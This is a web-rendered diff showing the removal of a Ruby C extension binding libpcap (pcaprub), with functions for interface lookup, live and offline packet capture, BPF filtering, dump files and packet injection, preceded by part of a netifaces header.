#if defined(AF_IPX) && HAVE_SOCKADDR_IPX
|
||||
case AF_IPX: return sizeof (struct sockaddr_ipx);
|
||||
#endif
|
||||
#if defined(AF_APPLETALK) && HAVE_SOCKADDR_AT
|
||||
case AF_APPLETALK: return sizeof (struct sockaddr_at);
|
||||
#endif
|
||||
#if defined(AF_ATMPVC) && HAVE_SOCKADDR_ATMPVC
|
||||
case AF_ATMPVC: return sizeof (struct sockaddr_atmpvc);
|
||||
#endif
|
||||
#if defined(AF_ATMSVC) && HAVE_SOCKADDR_ATMSVC
|
||||
case AF_ATMSVC: return sizeof (struct sockaddr_atmsvc);
|
||||
#endif
|
||||
#if defined(AF_X25) && HAVE_SOCKADDR_X25
|
||||
case AF_X25: return sizeof (struct sockaddr_x25);
|
||||
#endif
|
||||
#if defined(AF_ROSE) && HAVE_SOCKADDR_ROSE
|
||||
case AF_ROSE: return sizeof (struct sockaddr_rose);
|
||||
#endif
|
||||
#if defined(AF_DECnet) && HAVE_SOCKADDR_DN
|
||||
case AF_DECnet: return sizeof (struct sockaddr_dn);
|
||||
#endif
|
||||
#if defined(AF_PACKET) && HAVE_SOCKADDR_LL
|
||||
case AF_PACKET: return sizeof (struct sockaddr_ll);
|
||||
#endif
|
||||
#if defined(AF_ASH) && HAVE_SOCKADDR_ASH
|
||||
case AF_ASH: return sizeof (struct sockaddr_ash);
|
||||
#endif
|
||||
#if defined(AF_ECONET) && HAVE_SOCKADDR_EC
|
||||
case AF_ECONET: return sizeof (struct sockaddr_ec);
|
||||
#endif
|
||||
#if defined(AF_IRDA) && HAVE_SOCKADDR_IRDA
|
||||
case AF_IRDA: return sizeof (struct sockaddr_irda);
|
||||
#endif
|
||||
}
|
||||
return sizeof (struct sockaddr);
|
||||
}
|
||||
|
||||
#define SA_LEN(sa) af_to_len(sa->sa_family)
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
#define SS_LEN(sa) af_to_len(sa->ss_family)
|
||||
#else
|
||||
#define SS_LEN(sa) SA_LEN(sa)
|
||||
#endif
|
||||
#else
|
||||
//remove a warning on openbsd
|
||||
#ifndef SA_LEN
|
||||
#define SA_LEN(sa) sa->sa_len
|
||||
#endif
|
||||
#endif /* !HAVE_SOCKADDR_SA_LEN */
|
||||
|
||||
# if HAVE_GETIFADDRS
|
||||
# include <ifaddrs.h>
|
||||
# endif /* HAVE_GETIFADDRS */
|
||||
|
||||
# if !HAVE_GETIFADDRS && (!HAVE_SOCKET_IOCTLS || !HAVE_SIOCGIFCONF)
|
||||
/* If the platform doesn't define, what we need, barf. If you're seeing this,
|
||||
it means you need to write suitable code to retrieve interface information
|
||||
on your system. */
|
||||
# error You need to add code for your platform.
|
||||
# endif
|
||||
|
||||
#else /* defined(WIN32) */
|
||||
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#endif /* defined(WIN32) */
|
||||
|
||||
#ifndef TRUE
|
||||
#define TRUE 1
|
||||
#endif
|
||||
|
||||
#ifndef FALSE
|
||||
#define FALSE 0
|
||||
#endif
|
||||
|
||||
/* On systems without AF_LINK (Windows, for instance), define it anyway, but
|
||||
give it a crazy value. On Linux, which has AF_PACKET but not AF_LINK,
|
||||
define AF_LINK as the latter instead. */
|
||||
#ifndef AF_LINK
|
||||
# ifdef AF_PACKET
|
||||
# define AF_LINK AF_PACKET
|
||||
# else
|
||||
# define AF_LINK -1000
|
||||
# endif
|
||||
# define HAVE_AF_LINK 0
|
||||
#else
|
||||
# define HAVE_AF_LINK 1
|
||||
#endif
|
||||
|
||||
|
||||
//Prototypes
|
||||
//Get a list of the adresses for a network interface
|
||||
VALUE rbnetifaces_s_addresses (VALUE class, VALUE dev);
|
||||
//Get a list of the network interfaces
|
||||
VALUE rbnetifaces_s_interfaces (VALUE self);
|
||||
//This function is usefull only under windows to retrieve some additionnal interfaces informations
|
||||
VALUE rbnetifaces_s_interface_info (VALUE self, VALUE dev);
|
||||
|
|
@ -1,783 +0,0 @@
|
|||
#include "ruby.h"
|
||||
|
||||
#ifndef RUBY_19
|
||||
#include "rubysig.h"
|
||||
#endif
|
||||
|
||||
#include "netifaces.h"
|
||||
|
||||
#include <pcap.h>
|
||||
|
||||
#if !defined(WIN32)
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/time.h>
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_IEEE802_11_RADIO_AVS)
|
||||
#define DLT_IEEE802_11_RADIO_AVS 163
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_LINUX_SLL)
|
||||
#define DLT_LINUX_SLL 113
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_PRISM_HEADER)
|
||||
#define DLT_PRISM_HEADER 119
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_AIRONET_HEADER)
|
||||
#define DLT_AIRONET_HEADER 120
|
||||
#endif
|
||||
|
||||
#if !defined(PCAP_NETMASK_UNKNOWN)
|
||||
/*
|
||||
* Value to pass to pcap_compile() as the netmask if you don't know what
|
||||
* the netmask is.
|
||||
*/
|
||||
#define PCAP_NETMASK_UNKNOWN 0xffffffff
|
||||
#endif
|
||||
|
||||
static VALUE rb_cPcap;
|
||||
|
||||
#define PCAPRUB_VERSION "0.9-dev"
|
||||
|
||||
#define OFFLINE 1
|
||||
#define LIVE 2
|
||||
|
||||
typedef struct rbpcap {
|
||||
pcap_t *pd;
|
||||
pcap_dumper_t *pdt;
|
||||
char iface[256];
|
||||
char type;
|
||||
} rbpcap_t;
|
||||
|
||||
|
||||
typedef struct rbpcapjob {
|
||||
struct pcap_pkthdr hdr;
|
||||
unsigned char *pkt;
|
||||
int wtf;
|
||||
} rbpcapjob_t;
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_version(VALUE class)
|
||||
{
|
||||
return rb_str_new2(PCAPRUB_VERSION);
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_lookupdev(VALUE self)
|
||||
{
|
||||
char *dev = NULL;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
VALUE ret_dev; /* device string to return */
|
||||
#if defined(WIN32) /* pcap_lookupdev is broken on windows */
|
||||
pcap_if_t *alldevs;
|
||||
pcap_if_t *d;
|
||||
|
||||
/* Retrieve the device list from the local machine */
|
||||
if (pcap_findalldevs(&alldevs,eb) == -1) {
|
||||
rb_raise(rb_eRuntimeError,"%s",eb);
|
||||
}
|
||||
|
||||
/* Find the first interface with an address and not loopback */
|
||||
for(d = alldevs; d != NULL; d= d->next) {
|
||||
if(d->name && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
|
||||
dev=d->name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dev == NULL) {
|
||||
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found, Make sure WinPcap is installed.\n");
|
||||
}
|
||||
ret_dev = rb_str_new2(dev);
|
||||
/* We don't need any more the device list. Free it */
|
||||
pcap_freealldevs(alldevs);
|
||||
#else
|
||||
dev = pcap_lookupdev(eb);
|
||||
if (dev == NULL) {
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
}
|
||||
ret_dev = rb_str_new2(dev);
|
||||
#endif
|
||||
return ret_dev;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_lookupaddrs(VALUE self,VALUE dev)
|
||||
{
|
||||
char *ldev = NULL;
|
||||
pcap_addr_t *addresses, *a = NULL;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
VALUE ret_dev; /* device string to return */
|
||||
pcap_if_t *alldevs;
|
||||
pcap_if_t *d;
|
||||
VALUE list;
|
||||
|
||||
/* Retrieve the device list from the local machine */
|
||||
if (pcap_findalldevs(&alldevs,eb) == -1) {
|
||||
rb_raise(rb_eRuntimeError,"%s",eb);
|
||||
}
|
||||
|
||||
/* Find the first interface with an address and not loopback */
|
||||
for(d = alldevs; d != NULL; d= d->next) {
|
||||
if(strcmp(d->name,StringValuePtr(dev)) == 0 && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
|
||||
ldev=d->name;
|
||||
addresses=d->addresses;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (ldev == NULL) {
|
||||
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found.\n");
|
||||
}
|
||||
|
||||
list = rb_ary_new();
|
||||
for(a = addresses; a != NULL; a= a->next) {
|
||||
switch(a->addr->sa_family)
|
||||
{
|
||||
case AF_INET:
|
||||
if (a->addr)
|
||||
rb_ary_push(list, rb_str_new2(inet_ntoa((((struct sockaddr_in *)a->addr)->sin_addr))));
|
||||
break;
|
||||
/* Don't like the __MINGW32__ comment for the moment need some testing ...
|
||||
case AF_INET6:
|
||||
#ifndef __MINGW32__ // Cygnus doesn't have IPv6
|
||||
if (a->addr)
|
||||
printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
|
||||
#endif
|
||||
break;
|
||||
*/
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
pcap_freealldevs(alldevs);
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_lookupnet(VALUE self, VALUE dev)
|
||||
{
|
||||
bpf_u_int32 net, mask, m;
|
||||
struct in_addr addr;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
VALUE list;
|
||||
|
||||
Check_Type(dev, T_STRING);
|
||||
if (pcap_lookupnet(StringValuePtr(dev), &net, &mask, eb) == -1) {
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
}
|
||||
|
||||
addr.s_addr = net;
|
||||
m = ntohl(mask);
|
||||
list = rb_ary_new();
|
||||
rb_ary_push(list, rb_str_new2((char *) inet_ntoa(addr)));
|
||||
rb_ary_push(list, UINT2NUM(m));
|
||||
return(list);
|
||||
}
|
||||
|
||||
|
||||
static int rbpcap_ready(rbpcap_t *rbp) {
|
||||
if(! rbp->pd) {
|
||||
rb_raise(rb_eArgError, "a device or pcap file must be opened first");
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void rbpcap_free(rbpcap_t *rbp) {
|
||||
if (rbp->pd)
|
||||
pcap_close(rbp->pd);
|
||||
|
||||
if (rbp->pdt)
|
||||
pcap_dump_close(rbp->pdt);
|
||||
|
||||
rbp->pd = NULL;
|
||||
rbp->pdt = NULL;
|
||||
free(rbp);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_new_s(VALUE class)
|
||||
{
|
||||
VALUE self;
|
||||
rbpcap_t *rbp;
|
||||
|
||||
// need to make destructor do a pcap_close later
|
||||
self = Data_Make_Struct(class, rbpcap_t, 0, rbpcap_free, rbp);
|
||||
rb_obj_call_init(self, 0, 0);
|
||||
|
||||
memset(rbp, 0, sizeof(rbpcap_t));
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_setfilter(VALUE self, VALUE filter)
|
||||
{
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
rbpcap_t *rbp;
|
||||
u_int32_t mask = 0, netid = 0;
|
||||
struct bpf_program bpf;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(TYPE(filter) != T_STRING)
|
||||
rb_raise(rb_eArgError, "filter must be a string");
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
if(rbp->type == LIVE)
|
||||
if(pcap_lookupnet(rbp->iface, &netid, &mask, eb) < 0)
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
|
||||
if(pcap_compile(rbp->pd, &bpf, RSTRING_PTR(filter), 0, mask) < 0)
|
||||
rb_raise(rb_eRuntimeError, "invalid bpf filter");
|
||||
|
||||
if(pcap_setfilter(rbp->pd, &bpf) < 0)
|
||||
rb_raise(rb_eRuntimeError, "unable to set bpf filter");
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_live(VALUE self, VALUE iface,VALUE snaplen,VALUE promisc, VALUE timeout)
|
||||
{
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
rbpcap_t *rbp;
|
||||
int promisc_value = 0;
|
||||
|
||||
if(TYPE(iface) != T_STRING)
|
||||
rb_raise(rb_eArgError, "interface must be a string");
|
||||
if(TYPE(snaplen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "snaplen must be a fixnum");
|
||||
if(TYPE(timeout) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "timeout must be a fixnum");
|
||||
|
||||
switch(promisc) {
|
||||
case Qtrue:
|
||||
promisc_value = 1;
|
||||
break;
|
||||
case Qfalse:
|
||||
promisc_value = 0;
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eTypeError, "Argument not boolean");
|
||||
}
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
|
||||
rbp->type = LIVE;
|
||||
memset(rbp->iface, 0, sizeof(rbp->iface));
|
||||
strncpy(rbp->iface, RSTRING_PTR(iface), sizeof(rbp->iface) - 1);
|
||||
|
||||
|
||||
if(rbp->pd) {
|
||||
pcap_close(rbp->pd);
|
||||
}
|
||||
|
||||
rbp->pd = pcap_open_live(
|
||||
RSTRING_PTR(iface),
|
||||
NUM2INT(snaplen),
|
||||
promisc_value,
|
||||
NUM2INT(timeout),
|
||||
eb
|
||||
);
|
||||
|
||||
if(!rbp->pd)
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_live_s(VALUE class, VALUE iface, VALUE snaplen, VALUE promisc, VALUE timeout)
|
||||
{
|
||||
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
|
||||
return rbpcap_open_live(iPcap, iface, snaplen, promisc, timeout);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_offline(VALUE self, VALUE filename)
|
||||
{
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
rbpcap_t *rbp;
|
||||
|
||||
if(TYPE(filename) != T_STRING)
|
||||
rb_raise(rb_eArgError, "filename must be a string");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
memset(rbp->iface, 0, sizeof(rbp->iface));
|
||||
rbp->type = OFFLINE;
|
||||
|
||||
rbp->pd = pcap_open_offline(
|
||||
RSTRING_PTR(filename),
|
||||
eb
|
||||
);
|
||||
|
||||
if(!rbp->pd)
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_offline_s(VALUE class, VALUE filename)
|
||||
{
|
||||
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
|
||||
|
||||
return rbpcap_open_offline(iPcap, filename);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_dead(VALUE self, VALUE linktype, VALUE snaplen)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
|
||||
if(TYPE(linktype) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "linktype must be a fixnum");
|
||||
if(TYPE(snaplen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "snaplen must be a fixnum");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
memset(rbp->iface, 0, sizeof(rbp->iface));
|
||||
rbp->type = OFFLINE;
|
||||
|
||||
rbp->pd = pcap_open_dead(
|
||||
NUM2INT(linktype),
|
||||
NUM2INT(snaplen)
|
||||
);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_dead_s(VALUE class, VALUE linktype, VALUE snaplen)
|
||||
{
|
||||
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
|
||||
|
||||
return rbpcap_open_dead(iPcap, linktype, snaplen);
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_dump_open(VALUE self, VALUE filename)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
if(TYPE(filename) != T_STRING)
|
||||
rb_raise(rb_eArgError, "filename must be a string");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
rbp->pdt = pcap_dump_open(
|
||||
rbp->pd,
|
||||
RSTRING_PTR(filename)
|
||||
);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
//not sure if this deviates too much from the way the rest of this class works?
|
||||
static VALUE
|
||||
rbpcap_dump(VALUE self, VALUE caplen, VALUE pktlen, VALUE packet)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
struct pcap_pkthdr pcap_hdr;
|
||||
|
||||
if(TYPE(packet) != T_STRING)
|
||||
rb_raise(rb_eArgError, "packet data must be a string");
|
||||
if(TYPE(caplen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "caplen must be a fixnum");
|
||||
if(TYPE(pktlen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "pktlen must be a fixnum");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
gettimeofday(&pcap_hdr.ts, NULL);
|
||||
pcap_hdr.caplen = NUM2UINT(caplen);
|
||||
pcap_hdr.len = NUM2UINT(pktlen);
|
||||
|
||||
pcap_dump(
|
||||
(u_char*)rbp->pdt,
|
||||
&pcap_hdr,
|
||||
(unsigned char *)RSTRING_PTR(packet)
|
||||
);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_inject(VALUE self, VALUE payload)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
if(TYPE(payload) != T_STRING)
|
||||
rb_raise(rb_eArgError, "payload must be a string");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
#if defined(WIN32)
|
||||
/* WinPcap does not have a pcap_inject call we use pcap_sendpacket, if it suceedes
|
||||
* we simply return the amount of packets request to inject, else we fail.
|
||||
*/
|
||||
if(pcap_sendpacket(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)) != 0) {
|
||||
rb_raise(rb_eRuntimeError, "%s", pcap_geterr(rbp->pd));
|
||||
}
|
||||
return INT2NUM(RSTRING_LEN(payload));
|
||||
#else
|
||||
return INT2NUM(pcap_inject(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)));
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
static void rbpcap_handler(rbpcapjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
|
||||
job->pkt = (unsigned char *)pkt;
|
||||
job->hdr = *hdr;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_next(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
rbpcapjob_t job;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
int ret;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
pcap_setnonblock(rbp->pd, 1, eb);
|
||||
|
||||
#ifndef RUBY_19
|
||||
TRAP_BEG;
|
||||
#endif
|
||||
ret = pcap_dispatch(rbp->pd, 1, (pcap_handler) rbpcap_handler, (u_char *)&job);
|
||||
#ifndef RUBY_19
|
||||
TRAP_END;
|
||||
#endif
|
||||
|
||||
if(rbp->type == OFFLINE && ret <= 0) return Qnil;
|
||||
|
||||
if(ret > 0 && job.hdr.caplen > 0)
|
||||
return rb_str_new((char *) job.pkt, job.hdr.caplen);
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_capture(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
int fno = -1;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
#if !defined(WIN32)
|
||||
fno = pcap_get_selectable_fd(rbp->pd);
|
||||
#else
|
||||
fno = pcap_fileno(rbp->pd);
|
||||
#endif
|
||||
|
||||
for(;;) {
|
||||
VALUE packet = rbpcap_next(self);
|
||||
if(packet == Qnil && rbp->type == OFFLINE) break;
|
||||
packet == Qnil ? rb_thread_wait_fd(fno) : rb_yield(packet);
|
||||
}
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_datalink(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
return INT2NUM(pcap_datalink(rbp->pd));
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_snapshot(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
return INT2NUM(pcap_snapshot(rbp->pd));
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_stats(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
struct pcap_stat stat;
|
||||
VALUE hash;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
if (pcap_stats(rbp->pd, &stat) == -1)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("recv"), UINT2NUM(stat.ps_recv));
|
||||
rb_hash_aset(hash, rb_str_new2("drop"), UINT2NUM(stat.ps_drop));
|
||||
rb_hash_aset(hash, rb_str_new2("idrop"), UINT2NUM(stat.ps_ifdrop));
|
||||
return hash;
|
||||
}
|
||||
|
||||
void
|
||||
Init_pcaprub()
|
||||
{
|
||||
// Pcap
|
||||
rb_cPcap = rb_define_class("Pcap", rb_cObject);
|
||||
rb_define_module_function(rb_cPcap, "version", rbpcap_s_version, 0);
|
||||
rb_define_module_function(rb_cPcap, "lookupdev", rbpcap_s_lookupdev, 0);
|
||||
rb_define_module_function(rb_cPcap, "lookupnet", rbpcap_s_lookupnet, 1);
|
||||
rb_define_module_function(rb_cPcap, "lookupaddrs", rbpcap_s_lookupaddrs, 1);
|
||||
|
||||
rb_define_const(rb_cPcap, "DLT_NULL", INT2NUM(DLT_NULL));
|
||||
rb_define_const(rb_cPcap, "DLT_EN10MB", INT2NUM(DLT_EN10MB));
|
||||
rb_define_const(rb_cPcap, "DLT_EN3MB", INT2NUM(DLT_EN3MB));
|
||||
rb_define_const(rb_cPcap, "DLT_AX25", INT2NUM(DLT_AX25));
|
||||
rb_define_const(rb_cPcap, "DLT_PRONET", INT2NUM(DLT_PRONET));
|
||||
rb_define_const(rb_cPcap, "DLT_CHAOS", INT2NUM(DLT_CHAOS));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802", INT2NUM(DLT_IEEE802));
|
||||
rb_define_const(rb_cPcap, "DLT_ARCNET", INT2NUM(DLT_ARCNET));
|
||||
rb_define_const(rb_cPcap, "DLT_SLIP", INT2NUM(DLT_SLIP));
|
||||
rb_define_const(rb_cPcap, "DLT_PPP", INT2NUM(DLT_PPP));
|
||||
rb_define_const(rb_cPcap, "DLT_FDDI", INT2NUM(DLT_FDDI));
|
||||
rb_define_const(rb_cPcap, "DLT_ATM_RFC1483", INT2NUM(DLT_ATM_RFC1483));
|
||||
rb_define_const(rb_cPcap, "DLT_RAW", INT2NUM(DLT_RAW));
|
||||
rb_define_const(rb_cPcap, "DLT_SLIP_BSDOS", INT2NUM(DLT_SLIP_BSDOS));
|
||||
rb_define_const(rb_cPcap, "DLT_PPP_BSDOS", INT2NUM(DLT_PPP_BSDOS));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802_11", INT2NUM(DLT_IEEE802_11));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO", INT2NUM(DLT_IEEE802_11_RADIO));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO_AVS", INT2NUM(DLT_IEEE802_11_RADIO_AVS));
|
||||
rb_define_const(rb_cPcap, "DLT_LINUX_SLL", INT2NUM(DLT_LINUX_SLL));
|
||||
rb_define_const(rb_cPcap, "DLT_PRISM_HEADER", INT2NUM(DLT_PRISM_HEADER));
|
||||
rb_define_const(rb_cPcap, "DLT_AIRONET_HEADER", INT2NUM(DLT_AIRONET_HEADER));
|
||||
|
||||
rb_define_singleton_method(rb_cPcap, "new", rbpcap_new_s, 0);
|
||||
|
||||
rb_define_singleton_method(rb_cPcap, "open_live", rbpcap_open_live_s, 4);
|
||||
rb_define_singleton_method(rb_cPcap, "open_offline", rbpcap_open_offline_s, 1);
|
||||
rb_define_singleton_method(rb_cPcap, "open_dead", rbpcap_open_dead_s, 2);
|
||||
rb_define_singleton_method(rb_cPcap, "dump_open", rbpcap_dump_open, 1);
|
||||
|
||||
rb_define_method(rb_cPcap, "dump", rbpcap_dump, 3);
|
||||
|
||||
rb_define_method(rb_cPcap, "each", rbpcap_capture, 0);
|
||||
rb_define_method(rb_cPcap, "next", rbpcap_next, 0);
|
||||
rb_define_method(rb_cPcap, "setfilter", rbpcap_setfilter, 1);
|
||||
rb_define_method(rb_cPcap, "inject", rbpcap_inject, 1);
|
||||
rb_define_method(rb_cPcap, "datalink", rbpcap_datalink, 0);
|
||||
|
||||
rb_define_method(rb_cPcap, "snapshot", rbpcap_snapshot, 0);
|
||||
rb_define_method(rb_cPcap, "snaplen", rbpcap_snapshot, 0);
|
||||
rb_define_method(rb_cPcap, "stats", rbpcap_stats, 0);
|
||||
|
||||
|
||||
//Netifaces
|
||||
rb_define_module_function(rb_cPcap, "interfaces", rbnetifaces_s_interfaces, 0);
|
||||
rb_define_module_function(rb_cPcap, "addresses", rbnetifaces_s_addresses, 1);
|
||||
rb_define_module_function(rb_cPcap, "interface_info", rbnetifaces_s_interface_info, 1);
|
||||
|
||||
//constants
|
||||
// Address families (auto-detect using #ifdef)
|
||||
|
||||
#ifdef AF_INET
|
||||
rb_define_const(rb_cPcap, "AF_INET", INT2NUM(AF_INET));
|
||||
#endif
|
||||
#ifdef AF_INET6
|
||||
rb_define_const(rb_cPcap, "AF_INET6", INT2NUM(AF_INET6));
|
||||
#endif
|
||||
#ifdef AF_UNSPEC
|
||||
rb_define_const(rb_cPcap, "AF_UNSPEC", INT2NUM(AF_UNSPEC));
|
||||
#endif
|
||||
#ifdef AF_UNIX
|
||||
rb_define_const(rb_cPcap, "AF_UNIX", INT2NUM(AF_UNIX));
|
||||
#endif
|
||||
#ifdef AF_FILE
|
||||
rb_define_const(rb_cPcap, "AF_FILE", INT2NUM(AF_FILE));
|
||||
#endif
|
||||
|
||||
#ifdef AF_AX25
|
||||
rb_define_const(rb_cPcap, "AF_AX25", INT2NUM(AF_AX25));
|
||||
#endif
|
||||
#ifdef AF_IMPLINK
|
||||
rb_define_const(rb_cPcap, "AF_IMPLINK", INT2NUM(AF_IMPLINK));
|
||||
#endif
|
||||
#ifdef AF_PUP
|
||||
rb_define_const(rb_cPcap, "AF_PUP", INT2NUM(AF_PUP));
|
||||
#endif
|
||||
#ifdef AF_CHAOS
|
||||
rb_define_const(rb_cPcap, "AF_CHAOS", INT2NUM(AF_CHAOS));
|
||||
#endif
|
||||
#ifdef AF_NS
|
||||
rb_define_const(rb_cPcap, "AF_NS", INT2NUM(AF_NS));
|
||||
#endif
|
||||
#ifdef AF_ISO
|
||||
rb_define_const(rb_cPcap, "AF_ISO", INT2NUM(AF_ISO));
|
||||
#endif
|
||||
#ifdef AF_ECMA
|
||||
rb_define_const(rb_cPcap, "AF_ECMA", INT2NUM(AF_ECMA));
|
||||
#endif
|
||||
#ifdef AF_DATAKIT
|
||||
rb_define_const(rb_cPcap, "AF_DATAKIT", INT2NUM(AF_DATAKIT));
|
||||
#endif
|
||||
#ifdef AF_CCITT
|
||||
rb_define_const(rb_cPcap, "AF_CCITT", INT2NUM(AF_CCITT));
|
||||
#endif
|
||||
#ifdef AF_SNA
|
||||
rb_define_const(rb_cPcap, "AF_SNA", INT2NUM(AF_SNA));
|
||||
#endif
|
||||
#ifdef AF_DECnet
|
||||
rb_define_const(rb_cPcap, "AF_DECnet", INT2NUM(AF_DECnet));
|
||||
#endif
|
||||
#ifdef AF_DLI
|
||||
rb_define_const(rb_cPcap, "AF_DLI", INT2NUM(AF_DLI));
|
||||
#endif
|
||||
#ifdef AF_LAT
|
||||
rb_define_const(rb_cPcap, "AF_LAT", INT2NUM(AF_LAT));
|
||||
#endif
|
||||
#ifdef AF_HYLINK
|
||||
rb_define_const(rb_cPcap, "AF_HYLINK", INT2NUM(AF_HYLINK));
|
||||
#endif
|
||||
#ifdef AF_APPLETALK
|
||||
rb_define_const(rb_cPcap, "AF_APPLETALK", INT2NUM(AF_APPLETALK));
|
||||
#endif
|
||||
#ifdef AF_ROUTE
|
||||
rb_define_const(rb_cPcap, "AF_ROUTE", INT2NUM(AF_ROUTE));
|
||||
#endif
|
||||
#ifdef AF_LINK
|
||||
rb_define_const(rb_cPcap, "AF_LINK", INT2NUM(AF_LINK));
|
||||
#endif
|
||||
#ifdef AF_PACKET
|
||||
rb_define_const(rb_cPcap, "AF_PACKET", INT2NUM(AF_PACKET));
|
||||
#endif
|
||||
#ifdef AF_COIP
|
||||
rb_define_const(rb_cPcap, "AF_COIP", INT2NUM(AF_COIP));
|
||||
#endif
|
||||
#ifdef AF_CNT
|
||||
